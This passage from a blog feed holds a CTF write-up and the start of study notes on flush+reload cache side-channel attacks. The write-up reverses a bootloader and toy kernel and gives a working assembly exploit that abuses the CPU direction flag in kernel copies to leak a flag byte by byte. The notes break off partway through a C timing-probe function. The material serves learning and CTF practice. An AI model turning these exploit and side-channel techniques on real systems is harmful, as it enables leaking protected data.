    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本文与<a href="https://www.cnblogs.com/91ac0m0">giacomo</a>共同撰写。</p><h2 id="文件分析"><a href="#文件分析" class="headerlink" title="文件分析"></a>文件分析</h2><p>题目给了一个硬盘的二进制文件，通过第一扇区结尾的0x55 0xAA可以判断出这就是MBR扇区。硬盘一共包含6个扇区。BIOS会将MBR扇区加载至0x7c00位置运行，直接拖入IDA，rebase后静态分析。若要动态分析，则需要一些小技巧。</p><p>如果用gdb连接qemu从一开始调试，明显不对劲，这是因为此时系统正在实模式下运行，而gdb反汇编指令则是按64位指令反汇编，所以识别错了指令。若用set architecture i8086，则会导致调试客户端与服务端的不匹配，也不能正常调试。在实模式下，使用bochs调试会是一个不错的方案。而在进入64位模式后，bochs作为x86 emulator就不能继续调试，此时qemu可以调试。所以可以gdb连接qemu后下断点到进入64位模式的位置，就能正常调试了。</p><h2 id="bootloader"><a href="#bootloader" class="headerlink" title="bootloader"></a>bootloader</h2><p>其实<a href="https://github.com/N00byEdge/bootelf">这里</a>有源码，不过出于学习目的，我们还是逆向分析一下</p><h3 id="实模式"><a href="#实模式" class="headerlink" title="实模式"></a>实模式</h3><p>首先，程序将硬盘中的内容加载进内存</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">sub_7C00 proc near</span><br><span class="line">xor     bx, bx</span><br><span class="line">mov     ds, bx</span><br><span class="line">mov     ss, bx</span><br><span class="line">mov     bp, 7C0h</span><br><span class="line">mov     dh, 0</span><br><span class="line">mov     cx, 1</span><br><span class="line">loc_7C0E:</span><br><span class="line">add     cl, 1</span><br><span class="line">jb      short loc_7C1F</span><br><span class="line">add     bp, 20h</span><br><span class="line">mov     es, bp</span><br><span class="line">mov     ax, 201h</span><br><span class="line">int     13h             ; DISK - READ SECTORS INTO MEMORY</span><br><span class="line">                        ; AL = number of sectors to read, CH = track, CL = sector</span><br><span class="line">                        ; DH = head, DL = drive, ES:BX -&gt; buffer to fill</span><br><span class="line">                        ; Return: CF set on error, AH = status, AL = number of sectors read</span><br><span class="line">jnb     short loc_7C0E</span><br></pre></td></tr></table></figure><p>因为第一扇区是MBR扇区，已经被BIOS加载进0x7c00，所以程序从第二扇区开始加载进0x7e00处，直到读取失败，CF&#x3D;1，在int 13h后不再继续向上跳转，而是向下执行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">loc_7C1F:</span><br><span class="line">mov     di, 800h</span><br><span class="line">xor     al, al</span><br><span class="line">lea     cx, ds:7400h</span><br><span class="line">rep stosb byte ptr es:[di], al</span><br></pre></td></tr></table></figure><p>注意到es段寄存器的位置在于内存上加载的内存数据的结尾，di为0x800的偏移，即从0x9000处开始清零长度为0x7400的内存</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cli</span><br><span class="line">lgdt    fword ptr ds:unk_7CAB</span><br></pre></td></tr></table></figure><p>加载GDT，具体的段描述符内容我们可以在bochs中使用<code>info gdt</code>查看</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Global Descriptor Table (base=0x0000000000007ca9, limit=15):</span><br><span class="line">GDT[0x0000]=Code segment, base=0x00a9000f, limit=0x0000c3a4, Execute-Only, Conforming, 16-bit</span><br><span class="line">GDT[0x0008]=Code segment, base=0x00000000, limit=0x00000fff, Execute/Read, Non-Conforming, 64-bit</span><br></pre></td></tr></table></figure><p>gdt在index为0处的描述符被定义为空描述符，所以我们可以不必在意其中GDT[0]的内容，只需要看GDT[8]处定义了一个基址为0的64位代码段。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mov     eax, 1000h</span><br><span class="line">mov     word ptr [eax], 2003h</span><br><span class="line">mov     word ptr ds:1FF8h, 2003h</span><br><span class="line">mov     cr3, eax</span><br><span class="line">mov     word ptr ds:2000h, 3003h</span><br><span class="line">mov     word ptr ds:2008h, 4003h</span><br><span class="line">mov     word ptr ds:2FF0h, 3003h</span><br><span class="line">mov     word ptr ds:2FF8h, 4003h</span><br></pre></td></tr></table></figure><p>页表相关</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mov     di, 3000h</span><br><span class="line">xor     ax, ax</span><br><span class="line">mov     cx, 400h</span><br><span class="line">loc_7C64:</span><br><span class="line">mov     byte ptr [di], 83h</span><br><span class="line">mov     [di+3], ax</span><br><span class="line">add     di, 8</span><br><span class="line">inc     ax</span><br><span class="line">inc     ax</span><br><span class="line">loop    loc_7C64</span><br></pre></td></tr></table></figure><p>页表相关</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov     eax, cr4</span><br><span class="line">or      al, 10100011b ; PGE PAE PVI VME</span><br><span class="line">mov     cr4, eax</span><br></pre></td></tr></table></figure><p>启用分页（当然因为此时还在实模式，分页只是被设置启用，而并没有生效。需要进入保护模式后才会生效）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mov     ecx, 0C0000080h ; IA32_EFER</span><br><span class="line">rdmsr</span><br><span class="line">or      ax, 100000000b ; LME</span><br><span class="line">wrmsr</span><br></pre></td></tr></table></figure><p>设置IA32_EFER寄存器的LME位为1，从而启用四层页表，为接下来进入IA-32e mode做准备</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov     eax, 80000011h ; PG ET PE</span><br><span class="line">mov     cr0, eax</span><br><span class="line">jmp     far ptr 8:7C94h</span><br></pre></td></tr></table></figure><p>在执行<code>mov cr0, eax</code>时，因为IA32_EFER.LME&#x3D;&#x3D;1，设置CR0.PG&#x3D;1会使IA32_EFER.LMA&#x3D;1，此时IA-32e mode启用（详见Intel开发者手册Volume 3 10.8.5）。然后通过far jmp设置cs为8，从0x7c94开始执行64位指令。</p><blockquote><p>等等，我们前面的GDT[8]的limit分明是0xfff，这样不是访问越界了吗？</p><p>–并不是这样，在IA-32e mode下，段机制的作用很有限，并且处理器不再进行越界检查（详见Intel开发者手册Volume 3 3.2.4）</p><p>我看书上写进保护模式还需要开启a20 gate啊？</p><p>–新的Intel 64 CPU默认解锁地址线，不需要开启操作。</p></blockquote><h3 id="保护模式"><a href="#保护模式" class="headerlink" title="保护模式"></a>保护模式</h3><p>我们前面没有分析页表的内容，这是因为我们现在可以使用<code>pt</code>查看内存页（需要gdb-pt-dump插件），和<code>monitor info tlb</code>查看线性地址到物理地址的映射关系。页表：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">           Address :     Length   Permissions          </span><br><span class="line">               0x0 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">      0x7f80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">0xffffff8000000000 : 0x80000000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">0xffffffff80000000 : 0x40000000 | W:1 X:1 S:1 UC:0 WB:1</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mov     esi, 7E00h</span><br><span class="line">mov     rdi, 0FFFFFFFF80200000h</span><br><span class="line">lodsq   rax, qword ptr [rsi]</span><br><span class="line">stosq   qword ptr [rdi], rax</span><br><span class="line">push    rdi</span><br><span class="line">mov     rcx, rax</span><br><span class="line">rep movsb byte ptr [rdi], byte ptr [rsi]</span><br><span class="line">retn</span><br></pre></td></tr></table></figure><p>0x7e00处存储了接下来代码的长度，然后将对应长度的数据从0x7e08拷贝至0FFFFFFFF80200008h开始的位置，然后通过retn跳转到对应位置执行，进入系统内核。我们ida rebase一下继续分析</p><h2 id="kernel"><a href="#kernel" class="headerlink" title="kernel"></a>kernel</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">sub_FFFFFFFF80200008 proc near</span><br><span class="line">or      byte ptr ds:1000h, 4</span><br><span class="line">or      byte ptr ds:2000h, 4</span><br><span class="line">mov     edi, 5000h</span><br><span class="line">mov     eax, 8007h</span><br><span class="line">stosq</span><br><span class="line">mov     eax, 9007h</span><br><span class="line">stosq</span><br><span class="line">mov     ecx, 1FEh</span><br><span class="line">mov     eax, 3</span><br><span class="line">loc_FFFFFFFF80200035:</span><br><span class="line">stosq</span><br><span class="line">add     rax, 1000h</span><br><span class="line">loop    loc_FFFFFFFF80200035</span><br><span class="line">mov     dword ptr ds:3000h, 5007h</span><br><span class="line">mov     rax, cr3</span><br><span class="line">mov     cr3, rax</span><br></pre></td></tr></table></figure><p>改页表。新页表：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">           Address :     Length   Permissions          </span><br><span class="line">               0x0 :     0x2000 | W:1 X:1 S:0 UC:0 WB:1</span><br><span class="line">            0x2000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">      0x7f80000000 :     0x2000 | W:1 X:1 S:0 UC:0 WB:1</span><br><span class="line">      0x7f80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">0xffffff8000000000 :     0x2000 | W:1 X:1 S:0 UC:0 WB:1</span><br><span class="line">0xffffff8000002000 : 0x7fffe000 | W:1 X:1 S:1 UC:0 WB:1</span><br><span class="line">0xffffffff80000000 :     0x2000 | W:1 X:1 S:0 UC:0 WB:1</span><br><span class="line">0xffffffff80002000 : 0x3fffe000 | W:1 X:1 S:1 UC:0 WB:1</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">xor     rdi, rdi</span><br><span class="line">mov     ecx, 2000h</span><br><span class="line">xor     al, al</span><br><span class="line">rep stosb byte ptr [rdi], al</span><br><span class="line">lgdt    fword ptr cs:unk_FFFFFFFF80200120</span><br></pre></td></tr></table></figure><p>从逻辑地址0处清零0x2000长度的内存。加载新的GDT。分析新的GDT内容可得：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0: 空</span><br><span class="line">8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable</span><br><span class="line">10: 64-bit Data Segment, DPL=0, Writable</span><br><span class="line">18: 64-bit Code Segment, DPL=3, Non-Conforming, Readable</span><br><span class="line">20: 64-bit Data Segment, DPL=3, Writable</span><br><span class="line">28: TSS Descriptor</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">mov     ax, 10h</span><br><span class="line">mov     ss, eax</span><br><span class="line">mov     ds, eax</span><br><span class="line">mov     fs, eax</span><br><span class="line">mov     es, eax</span><br><span class="line">mov     gs, eax</span><br><span class="line">push    8</span><br><span class="line">push    0FFFFFFFF8020007Ah</span><br><span class="line">retfq</span><br></pre></td></tr></table></figure><p>将ss, ds, fs, es, gs设为0x10，cs设为8，继续向下执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lidt    fword ptr cs:unk_FFFFFFFF802007A0</span><br></pre></td></tr></table></figure><p>加载IDT，可以点进去直接看，也可以<code>monitor info registers -a</code>看 idtr 是 <code>IDT=     ffffffff80200790 00000010</code></p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">segment selector: 8 # 中断程序所在的段选择符</span><br><span class="line">offset: 0xffffffff8020012a</span><br><span class="line">type: 64-bit Interrupt Gate</span><br><span class="line">p: 1 </span><br><span class="line">DPL: 3</span><br><span class="line"></span><br><span class="line">对应的段为</span><br><span class="line">8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable</span><br></pre></td></tr></table></figure><p>因此发现只实现了int 0</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mov    ax,0x28</span><br><span class="line">ltr    ax            # 任务寄存器 TR</span><br></pre></td></tr></table></figure><p>切换 tr 寄存器变成以下内容</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl</span><br></pre></td></tr></table></figure><p>从 IO读0x1000字节（用户程序）到内存地址0开始的位置上</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">xor    rdi,rdi</span><br><span class="line">mov    ecx,0x1000</span><br><span class="line">mov    dx,0x3fd</span><br><span class="line">in     al,dx</span><br><span class="line">test   al,0x1</span><br><span class="line">je     0xffffffff80200090 </span><br><span class="line">sub    dl,0x5</span><br><span class="line">in     al,dx</span><br><span class="line">stos   BYTE PTR es:[rdi],al</span><br><span class="line">loop   0xffffffff80200090</span><br></pre></td></tr></table></figure><p>回到用户态 cs&#x3D;0x1b ss&#x3D;0x23 sp&#x3D;0x2000 ip&#x3D;0</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">mov    ax,0x23</span><br><span class="line">mov    ds,eax</span><br><span class="line">mov    es,eax</span><br><span class="line">mov    fs,eax</span><br><span class="line">mov    gs,eax</span><br><span class="line">xor    rax,rax</span><br><span class="line">xor    rbx,rbx</span><br><span class="line">xor    rcx,rcx</span><br><span class="line">xor    rdx,rdx</span><br><span class="line">xor    rsi,rsi</span><br><span class="line">xor    rdi,rdi</span><br><span class="line">xor    rbp,rbp</span><br><span class="line">xor    r8,r8</span><br><span class="line">xor    r9,r9</span><br><span class="line">xor    r10,r10</span><br><span class="line">xor    r11,r11</span><br><span class="line">xor    r12,r12</span><br><span class="line">xor    r13,r13</span><br><span class="line">xor    r14,r14</span><br><span class="line">xor    r15,r15</span><br><span class="line">push   0x23</span><br><span class="line">push   0x2000</span><br><span class="line">push   0x2</span><br><span class="line">push   0x1b</span><br><span class="line">push   0x0</span><br><span class="line">iretq</span><br></pre></td></tr></table></figure><p>跳转至用户程序执行</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>通过以上的分析我们知道这是一个用户态程序通过系统调用的漏洞泄露内核数据的题目。int 0对应的handler是0xffffffff8020012a，分析可得是根据rax的值跳转到不同系统调用的过程。我们逐个分析系统调用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0: exit_handler</span><br><span class="line">1: printstr_handler</span><br><span class="line">2: getchar_handler</span><br><span class="line">3: put_buf1</span><br><span class="line">4: mov_buf1_to_buf2</span><br><span class="line">5: append_buf2_to_buf1</span><br><span class="line">6: print_banner</span><br><span class="line">7: clean_buf2</span><br></pre></td></tr></table></figure><p>buf1的长度存储在0xFFFFFFFF8020044C，内容存储在由0xFFFFFFFF80200454开始的0x100字节内。buf2不存储长度，从0xFFFFFFFF80200554开始存储0x100字节。</p><p>发现漏洞点在于操作buf1, buf2时，拷贝内存内容使用的是<code>rep movsb</code>，而在循环过程中地址是增加&#x2F;减少取决于CPU的DF(Direction Flag)。而DF在用户态下就能被<code>std</code>, <code>cld</code>指令设置。</p><p>flag存储在buf1前面的位置，利用反方向的<code>rep movsb</code>，我们可以通过syscall_4将flag拷贝到buf2前面的位置，再通过syscall_5使flag的对应字节覆盖buf1前部存储长度的位置，最后利用buf1长度不能超过0x100的特点，通过向syscall_3传入不同长度得到的返回值侧信道得到该字节的值。</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><p>官方wp给出了poc，稍微改一下就能得到完整exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line">put_buf1 equ <span class="number">3</span></span><br><span class="line">mov_buf1_to_buf2 equ <span class="number">4</span></span><br><span class="line">append_buf2_to_buf1 equ <span class="number">5</span></span><br><span class="line">[org <span class="number">0x0</span>]</span><br><span class="line">[bits <span class="number">64</span>]</span><br><span class="line"></span><br><span class="line">test:</span><br><span class="line">    mov rdi,buffer</span><br><span class="line">    mov ecx,dword [idx]</span><br><span class="line">    mov eax,put_buf1</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    std</span><br><span class="line">    mov eax,mov_buf1_to_buf2</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    cld</span><br><span class="line">    mov rdi,buffer</span><br><span class="line">    mov ecx,dword [idx]</span><br><span class="line">    sub ecx,<span class="number">9</span></span><br><span class="line">    mov eax,put_buf1</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    std</span><br><span class="line">    mov ecx,dword [idx]</span><br><span class="line">    mov eax,append_buf2_to_buf1</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    cld</span><br><span class="line">    mov ecx,<span class="number">256</span></span><br><span class="line">test_loop:</span><br><span class="line">    sub ecx,<span class="number">1</span></span><br><span class="line">    mov r9,rcx</span><br><span class="line">    mov rdi,buffer</span><br><span class="line">    mov eax,put_buf1</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    cmp rax,-<span class="number">1</span></span><br><span class="line">    jz test_loop</span><br><span class="line"></span><br><span class="line">    mov ecx,<span class="number">256</span></span><br><span class="line">    sub rcx,r9</span><br><span class="line">    cmp ecx,<span class="number">1</span></span><br><span class="line">    je fin</span><br><span class="line">    mov eax, dword [idx]</span><br><span class="line">    mov byte [flag+eax-<span class="number">18</span>],cl</span><br><span class="line">    inc eax</span><br><span class="line">    mov dword [idx], eax</span><br><span class="line">clear:</span><br><span class="line">    mov eax,<span class="number">7</span></span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    mov ecx,<span class="number">0x100</span></span><br><span class="line">    mov eax,append_buf2_to_buf1</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">    jmp test</span><br><span class="line"></span><br><span class="line">fin:</span><br><span class="line">    mov rsi,flag</span><br><span class="line">    mov edi,dword [idx]</span><br><span class="line">    sub edi,<span class="number">19</span></span><br><span class="line">    add rsi,rdi</span><br><span class="line">    mov eax,<span class="number">1</span></span><br><span class="line">    std</span><br><span class="line">    <span class="built_in">int</span> <span class="number">0x0</span></span><br><span class="line">exit:</span><br><span class="line">    hlt</span><br><span class="line"></span><br><span class="line">buffer:</span><br><span class="line">    times <span class="number">255</span> db <span class="string">&quot;a&quot;</span></span><br><span class="line">    db <span class="number">0</span></span><br><span class="line">flag:</span><br><span class="line">    times <span class="number">128</span> db <span class="number">0</span></span><br><span class="line">idx dd <span class="number">18</span></span><br></pre></td></tr></table></figure><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>DASCTF6月二进制专项赛官方wp</p><p>intel开发者手册</p>]]></content>
    
    
    <summary type="html">第一次看这么底层的东西，长见识了</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="kernel" scheme="https://zqy.ink/tags/kernel/"/>
    
    <category term="side-channel attack" scheme="https://zqy.ink/tags/side-channel-attack/"/>
    
    <category term="bootloader" scheme="https://zqy.ink/tags/bootloader/"/>
    
  </entry>
  
  <entry>
    <title>flush+reload学习笔记</title>
    <link href="https://zqy.ink/2023/07/18/flush_reload/"/>
    <id>https://zqy.ink/2023/07/18/flush_reload/</id>
    <published>2023-07-18T13:57:13.000Z</published>
    <updated>2025-11-14T08:20:36.883Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>flush+reload是一个基于prime+probe的LLC(Last-Level-Cache)侧信道攻击手法。它相比其它基于缓存的侧信道攻击手法的特点是，因为攻击利用LLC，所以被攻击程序（victim）和间谍程序（spy）可以运行在不同的核心中、虚拟化环境中，得到的结果分辨率高、噪声低。</p><p>本攻击手法适用于多种架构和操作系统环境。下面本文将介绍在x86_64架构下、linux系统的L3缓存侧信道攻击原理及实践。</p><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><h3 id="MFENCE、LFENCE"><a href="#MFENCE、LFENCE" class="headerlink" title="MFENCE、LFENCE"></a>MFENCE、LFENCE</h3><p>MFENCE指令用于序列化对内存的读取、写入顺序，LFENCE指令用于序列化指令的执行，从而避免乱序执行、并行执行导致测量代码段周围的指令在段内执行，从而影响测量时间的精确度。</p><h3 id="RDTSC"><a href="#RDTSC" class="headerlink" title="RDTSC"></a>RDTSC</h3><p>RDTSC读取处理器的时间戳计数器（Time-Stamp Counter），得到一64位值，将其存储在EDX:EAX中。用于测量代码段的执行时间。</p><h3 id="CLFLUSH"><a href="#CLFLUSH" class="headerlink" title="CLFLUSH"></a>CLFLUSH</h3><p>CLFLUSH(Cache Line Flush)指令用于将cache line中的数据刷新到内存中，以保证内存和缓存间的一致性。CLFLUSH指令有一个操作数，即指定的内存地址（通常是cache line的起始地址）。CLFLUSH指令会将该地址对应的cacheline中的数据刷新到内存中，从而使cache line中的对应数据被清除。在下一次访问同样的地址时，CPU会从内存中重新加载数据。</p><h3 id="Page-Sharing"><a href="#Page-Sharing" class="headerlink" title="Page Sharing"></a>Page Sharing</h3><p>在一些情况下，多个进程可能会共享相同的内存页，这样做主要有两个可能的原因。一、多个进程间通过共享内存实现进程间通信。二、多个进程拥有相同的内存内容（如执行相同可执行文件时，多个进程的.text段；动态库的代码段和数据段共享等），此时操作系统会将它们映射到同样的物理页框上，从而节省内存、提高性能。当一个进程修改了共享的内存页时，linux会通过“写时复制（Copy-on-Write）”机制创建一个新的私有副本，并将修改的内容赋值到新的页框中，从而避免影响到其他进程。</p><h3 id="缓存结构"><a href="#缓存结构" class="headerlink" title="缓存结构"></a>缓存结构</h3><p>在x86架构下，从L3缓存中读取数据要比从内存中读取快得多，因此处理器会将最近使用的内存数据暂存在L3缓存中。</p><h2 id="攻击原理"><a href="#攻击原理" class="headerlink" title="攻击原理"></a>攻击原理</h2><p>当系统中的两个进程(victim和spy)存在共享内存页时，若victim访问了页上的某个数据，这个数据会被加载到L3缓存中。我们通过spy测量加载某个地址的时间的长短，判断出victim访问的是不是这个地址。具体的过程可以分为以下三步：</p><ol><li>spy从缓存中清除某个地址的数据(flush)</li><li>spy等待victim访问敏感数据</li><li>spy重新加载这个地址的数据，测量读取消耗的时间(reload)</li></ol><p>我们可以通过以下代码实现这个攻击</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">probe</span><span class="params">(<span class="type">void</span>* addr)</span> &#123;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">unsigned</span> <span class="type">long</span> time;</span><br><span class="line">    <span class="keyword">asm</span> __volatile__ (</span><br><span class="line">        <span class="string">&quot; mfence \n&quot;</span> </span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span> </span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; movl %%eax, %%esi  \n&quot;</span> <span class="comment">//eax存储了时间戳计数器的后32位</span></span><br><span class="line">        <span class="string">&quot; movl (%1), %%eax   \n&quot;</span> <span class="comment">//读取addr</span></span><br><span class="line">        <span class="string">&quot; lfence             \n&quot;</span></span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; subl %%esi, %%eax  \n&quot;</span> <span class="comment">//将两次得到的时间相减，得到耗时</span></span><br><span class="line">        <span class="string">&quot; clflush 0(%1)      \n&quot;</span> <span class="comment">//flush</span></span><br><span class="line">        : <span class="string">&quot;=a&quot;</span> (time)</span><br><span class="line">        : <span class="string">&quot;c&quot;</span> (addr)</span><br><span class="line">        :  